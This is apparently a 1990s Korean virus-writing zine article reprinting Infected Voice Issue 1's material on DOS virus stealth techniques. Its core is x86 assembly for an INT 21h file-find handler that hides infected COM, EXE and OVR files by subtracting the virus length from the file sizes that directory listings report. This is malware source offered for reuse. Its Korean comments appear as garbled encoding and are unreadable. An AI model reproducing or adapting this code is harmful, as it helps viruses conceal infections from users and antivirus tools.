
 IV Issue 1 ÀÇ ½ºÅÚ½º ±â¹ý                                      CVC #01  97/06

----------------------------------------------------------------------> Osiris


INFECTED VOICE   ISSUE 1   SEPTEMBER 1994

  ·¯½Ã¾Æ ¹ÙÀÌ·¯½º Á¦ÀÛ ±×·ìÀÎ SGWW ¿¡¼­ Æì³½ IV Issue 1 ÀÇ ³»¿ëÀÌ´Ù.
  ½ºÅÚ½º±â¹ý¿¡ ´ëÇØ¼­ ´Ù·ç°í ÀÖ´Ù.

        CMP  AH,4Eh             ; ÆÄÀÏ Ã£±â ÀÎ°¡ ?
        JE   HIDE_1
        CMP  AH,4Fh
        JE   HIDE_1
        CMP  AH,11h             ; ÆÄÀÏ Ã£±â ÀÎ°¡ ?
        JE   HIDE_2
        CMP  AH,12h
        JE   HIDE_2

HIDE_1:
	PUSH ES
	PUSH SI
	PUSH DI
        CALL PREFIX             ; ÆÄÀÏ Ã£±â ¼öÇà & DTA ÁÖ¼Ò°ª ¾ò±â
        JC   ERROR
        CMP  BYTE PTR ES:[BX+16h],0Fh           ; ¿¡·¯ Ã¼Å©
        JNE  ERROR
        TEST BYTE PTR ES:[BX+15h],11100111b     ; °¨¿° ¿©ºÎ °Ë»ç
        JZ   ERROR                              ;
        CALL CEO                ; È®ÀåÀÚ°¡ CO?,EX?,OV? ÀÎ°¡ ?
	JC   ERROR
        SUB  ES:[BX+01Ah],VL    ; ¹ÙÀÌ·¯½º ±æÀÌ ¸¸Å­ »©±â
	SBB  WORD PTR ES:[BX+01Ch],0
        JMP  SHORT ERROR

HIDE_2:
	PUSH ES
	PUSH SI
	PUSH DI
        CALL PREFIX             ; ÆÄÀÏ Ã£±â ¼öÇà & DTA ÁÖ¼Ò°ª ¾ò±â
        TEST BYTE PTR CS:[000Ah],0FFh  ; ¿¡·¯ Ã¼Å©
        JNZ  ERROR
        CMP  BYTE PTR ES:[BX],0FFh      ; È®Àå FCB ÀÎ°¡ ?
        JNE  SIMPLE
        ADD  BX,7               ; + 7
SIMPLE:
        TEST BYTE PTR ES:[BX+17h],0Fh
        JNE  ERROR
        SUB  ES:[BX+01Dh],VL        ; ¿ø·¡ ±æÀÌ - ¹ÙÀÌ·¯½º ±æÀÌ
	SBB  WORD PTR ES:[BX+01Fh],0
ERROR:
	POP  DI
	POP  SI
	POP  ES
        PUSH BP
        MOV  BP,SP
        MOV  AX,WORD PTR CS:[000Ch]     ; ¹Ø¿¡¼­ ÀúÀåÇß´ø ÇÃ·¡±×¸¦
        MOV  [BP+6],AX                  ; º¹±¸
        POP  BP
        MOV  AX,WORD PTR CS:[000Ah]     ;
        IRET
	
PREFIX  PROC NEAR
        INT  21h
        MOV  WORD PTR CS:[000Ah],AX     ;
        PUSHF
        POP  AX
        MOV  WORD PTR CS:[000Ch],AX     ;
        MOV  AH,2Fh                     ; DTA ÁÖ¼Ò ¾ò±â
	INT  21h
        RET
PREFIX  ENDP

CEO     PROC NEAR
;       È®ÀåÀÚ°¡ COM,EXE,OVR(OVL) ÀÎÁö °Ë»çÇÑ´Ù.

	PUSH AX
	PUSH CX
	PUSH DI
	MOV  DI,BX
        ADD  DI,1Fh                     ;
	CALL COMPARE
	POP  DI
	POP  CX
	POP  AX
	RET
CEO	ENDP

COMPARE PROC NEAR
	CLD
        MOV  AL,2Eh     ; '.'           ; È®ÀåÀÚ ?
	MOV  CX,41h
	REPNE SCASB
	MOV  AX,ES:[DI]
        OR   AX,2020h                   ; ´ë¹®ÀÚ·Î º¯È¯
	CMP  AX,6F63h	; 'CO'
	JE   PLUS
	CMP  AX,766Fh	; 'OV'
	JE   PLUS
	CMP  AX,7865h	; 'EX'
	JE   PLUS
	STC
	JMP  SHORT MINUS
PLUS:
	CLC
MINUS:
	RET
COMPARE ENDP


